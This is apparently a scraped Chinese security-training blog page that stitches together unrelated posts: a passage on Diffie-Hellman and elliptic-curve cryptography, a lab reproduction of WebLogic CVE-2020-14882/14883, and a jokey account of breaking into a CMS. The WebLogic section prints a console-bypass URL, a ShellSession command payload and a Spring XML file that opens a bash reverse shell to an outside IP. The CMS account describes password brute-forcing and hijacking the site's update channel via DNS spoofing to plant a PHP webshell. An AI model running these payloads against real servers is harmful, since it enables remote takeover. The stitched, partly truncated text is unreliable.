(5) Bob 计算 $k=A^b$ $mod$ $p$因为 $B^a=(g^b)^a=g^{ab}=(g^a)^b=A^b$ $mod$ $p$,Alice与Bob计算得到的 $k$ 是相同的。这样的 $k$ 可以作为通信的共享密钥由于 $a$ 与 $b$ 是保密的,所以即使攻击者知道了 $p、g、A、B$,也很难获得 Alice 与 Bob 的共享密钥 $k$。因为攻击者要想获得 $k$ ,则需要先解决离散对数问题 $A=g^x$ $mod$ $p$ 或 $B=g^x$ $mod$ $p$ ,而这是困难的。
椭圆曲线上的Diffie-Hellman算法:
(1) Alice和Bob之间要建立一个共享密钥。选取公共参数:取 $q>3$ 是某个素数幂,$E是F_q$上的椭圆曲线,$E(F_q)$ 是相应的 Abel 群,G 是 $E(F_q)$ 中的一个具有较大素数阶 $n$ 的点。
(2) Alice选取一个私钥 a(整数):$1\leqslant a\leqslant n-2$,计算 $A=aG$ 。发送A给Bob。
(3) Bob选取一个私钥 b(整数):$1\leqslant b\leqslant n-2$,计算 $B=bG$ 。发送B给Alice。
(4) Alice 计算 $K=aB$
(5) Bob 计算 $K=bA$ 显然 Alice 与 Bob 计算得到的 $K$ 是相同的:
$aB=a(bG)=(ab)G=b(aG)=bA$K$ 即为 Alice 与 Bob 之间的共享密钥。椭圆曲线上的Diffie-Hellman密钥交换算法的安全性基于椭圆曲线上离散对数问题的难解性。
椭圆曲线密码体制
1.有限域 $F_p$ 上 $ECC$ 的加法运算规则:
设 $p>3$ 是一个素数,那么有限域 $F_p$ 上的椭圆曲线 $E$ 可以表示成方程:$y^2=x^3+ax+b(mod p)$- 椭圆曲线$E_p(a,b)$,$p$为素数,$x,y \epsilon[0,p-1]$,$y^2=x^3+ax+b$ ($mod$ $p$)这里 $a,b \epsilon F_q$,满足: $4a^3+27b^2 \neq 0 mod p$
集合 $E(F_p)$ 中的加法运算定义为:对任何 $P=(x_1,y_1) \epsilon E(F_p)$,$Q=(x_2,y_2) \epsilon E(F_p)$1. $P+O=P$ ($O$为无穷远点)2.$P+Q=\begin{cases}O,&如果x_1=x_2,y_1=-y_2\\ \\(x_3,y_3),&否则\end{cases}$其中:$\begin{cases}x_3=\lambda^2-x_1-x_2\\y_3=\lambda(x_1-x_3)-y_1\end{cases}$
$\lambda =\begin{cases}\frac{y_2-y_1}{x_2-x_1},&如果 P\neq Q\\\\ \frac{3x_1^2+a}{2y_1},&如果P=Q \\ \end{cases}$如果 $P+Q=O$,则记 $Q=-P$ ,并称 $-P$ 为 $P$ 的负元。一般地,我们将 $\underbrace{P+P+\cdot\cdot\cdot+P}_{n次}$ 记为 $np$ ,即 $np=$ $\underbrace{P+P+\cdot\cdot\cdot+P}_{n次}$,同时,定义:$nP=O$(零元)
有限域模p
一个有限域是整数模 $p$ 的集合(integers mod p,p为素数),可表示为 $z/p$, $GF(p)$,或者 $F_p$,一般用 $F_p$。
椭圆曲线的阶
定义:一个群有多少个点叫做这个群的 “阶” (order)
2.ECC加密算法描述:
点G称为基点(base point)- $k$为私钥- $K$为公钥其中$K=kG$, $K、G$ 为椭圆曲线 $E_p(a,b)$ 上的点,**$n$ 为 $G$ 的阶** $(nG=O无穷大)$,$k$为小于$n$的整数。对于给定的$k$和$G$,根据加法法则,计算$K$很容易。而基于离散对数的难解性,给定$K$和$G$,求$k$则非常困难。
1. 公开参数:Alice选取一条椭圆曲线$E_p(a,b)$,并选取椭圆曲线上的一点,作为基点G。
2. 生成公钥:Alice 选取一个**私钥** $k$ $(k < n)$,生成**公钥** $K=kG$。
3. Alice 将$E_p(a,b)$ 和点K,G传给用户 Bob
4. 加密运算:Bob 将 **明文** 编码到 $E_p(a,b)$ 上的一点 $M$ ,取一个随机数 $r(r < n)$。
5. Bob 计算点 $C_1=M+rK$ 和 $C_2=rG$
6. 用户Bob将 $C_1、C_2$ 传给用户 A 。
7. 解密运算: Alice计算:$M=C_1-kC_2$,将 M 解码就得到明文了。(这里:$C_1-kC_2=M+rK-k(rG)=M+rkG-rkG=M$)##
后记:
在学习ECC椭圆曲线加密等,基于离散对数难解性问题的加密算法前。我们需要先掌握好《近世代数》的知识点。因为常见的椭圆曲线加密都是在有限域内实现的,首先得知道啥是"有限域"。下一篇我会给大家演示在实战中的应用,所以基础先要打好。文中有错误的地方,欢迎读者留言指出。
CVE-2020-14882&14883weblogic未授权命令执行漏洞复现
简介
WebLogic 是美国 Oracle 公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的 J2EE 应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。
本文涉及知识点实操练习——https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECIDfdd4-97c8-4e32-89b7-df58dd102e4c&: 通过本次实操,了解该漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。
概述
10 月 21 日,Oracle 官方发布数百个组件的高危漏洞公告。其中组合利用 CVE-2020-14882/CVE-2020-14883 可使未经授权的攻击者绕过 WebLogic 后台登录等限制,最终远程执行代码接管 WebLogic 服务器,利用难度极低,风险极大。
此处漏洞均存在于 WebLogic 的控制台中。该组件为 WebLogic 全版本自带组件,并且该漏洞通过 HTTP 协议进行利用。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
环境搭建
此处利用vulhub的环境进行复现,新建docker-compose.yml
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"执行以下命令会下载镜像并以此镜像启动一个容器,映射的端口为7001
docker-compose up -d
漏洞复现
权限绕过漏洞(CVE-2020-14882)复现:
因为CVE-2020-14882未授权访问漏洞是绕过管理控制台权限访问后台,所以需要存在console控制台,打开浏览器访问:
从上一步结果发现是存在管理控制台的,在正常访问console后台时会让我们输入账号密码。通过未授权访问,则可以直接绕过验证登录后台,漏洞URL:/console/css/%252e%252e%252fconsole.portal未授权访问控制台页面:
正常输入账号密码登录控制台页面:
通过对比可以看到通过未授权访问的后台与正常登陆的后台差异,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过后台部署war包等方式直接获取权限。“%252E%252E%252F”为二次url编码的“../”,通过这个就可以实现穿越路径未授权访问相关管理后台。
后台任意命令执行漏洞(CVE-2020-14883)复现:
利用方式一
com.tangosol.coherence.mvel2.sh.ShellSession 但此利用方法只能在 Weblogic 12.2.1 及以上版本利用,因为 10.3.6 并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类。 在12.2.1.3版本执行"id"命令burpsuite
GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lan
Host: 192.168.74.141:7001
Pragma: no-cache
cmd: id
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6
Cookie: ADMINCONSOLESESSION=ufkDQ2w_WXPmMBVQWCpxVBrNdKxp4L58RhydPTssNxYAmgnYP-4Y!-326883263; ADMINCONSOLESESSION=lGPJf1JPnXR7pG1qZzw0xXmwGtMQcPpJ0GVJrg0pv0LGCS6LdH0g!1599365627
Connection: close 回显payload:
/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.re
在10.3.6版本执行会报错
利用方式二
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext这是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。 首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,这里是执行一个反弹shell的操作,如http://example.com/rce.xml:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>nc监听,然后执行一个get请求:
http://192.168.74.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://139.9.198.30/rce.xml")在nc监听的端口得到反弹shell
经过测试,该方法在12.2.1.3以及10.3.6版本都可以执行
漏洞修复
目前 Oracle 官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com 后,可以下载最新补丁。
参考链接
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md
https://github.com/jas502n/CVE-2020-14882
利用官网getshell
(此方法只适用于特定环境,勿喷,求评论)
0x01
呕吼,各位大表哥们,又是我,影子,上次说了一下arp内网欺骗,但是我是搞Web的啊,我搞这干嘛?(手动狗头)
今天来次实战求评论,求反响
本文涉及知识点实操练习——https://www.yijinglab.com/expc.do?ec=ECID5504-22b1-44f6-984f-1339663ac214通过该实操的练习,了解文件上传漏洞的原理,通过代码审计掌握文件上传漏洞产生的原因、上传绕过的方法以及修复方法。
0x02
大表哥在局域网里面搞了个网站让我日。。
沃日™
大表哥还算好,把验证码给我关了,哈哈哈哈
0x03
进去先看一眼
大表哥把源码给我了,审一波
第一个入眼的就是admin
测试一波,大表哥吧验证码给关了,真好,哈哈哈哈
随手试几个
不知道你们有没有看清楚,大表哥第一张给我拍的照片没有打码,哈哈哈,里面有用户名,这算不算信息泄露呢,哈哈哈
第一张图片可以勉强看出来
用户名是admin
大表哥又把验证码关了,哈哈哈,这不就是让我爆破吗
祭出我的神器,burpsuite
密码明文传输
省了我很多事
掏出我的珍藏版字典
字典很棒哦第二个包就成功了
直接登录
后台在手,天下我有
咳咳
找到一个上传图片的地方、抓一下包,上个shell,完事,哈哈哈哈
再试一下解析漏洞
把20改成00
擦
Md
懒得审代码了,直接找度娘
漏洞POC
本地尝试复现
本地复现成功
Then
???
有什么用处?
曰,就一个本地包含,没公开的,md,我要苦逼的审代码?
那是必然不可能的,一切随缘法
0x04
事情来了转机
获取更新列表
直接从官网获得更新后的代码,并写入本地
直接上kali
Ssh连上之后
Dns欺骗一下
Etter.dns 添加俩条记录
这个cms团队的人为了安全考虑
并没有在发行版中添加这个函数
所以说我们现在dns欺骗之后,本地的网站并不会更新成功,所以
直接写一段代码,在网站更新的时候访问的那个网址,直接返回需要的数据
先随便下载个文件,看一下值
我们可以看到,我们执行的是getServerFile函数
直接修改
访问控制器
更新的根本就是直接获取数据,进行写入
$des 的值就是写入目录
我们在我们的start.php
添加一句话木马
并把
这段代码注释
再次访问getServerFile函数
获取写入一句话木马的值
写一段php代码
在访问这个网址的时候,直接返回这个值
Index.php:
再次进行目标网站的更新
更新的
/doc/ChangeLog.txt
修改为
/core/start.php
更新
更新成功
访问小马
咳咳
不说了
跑路了
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

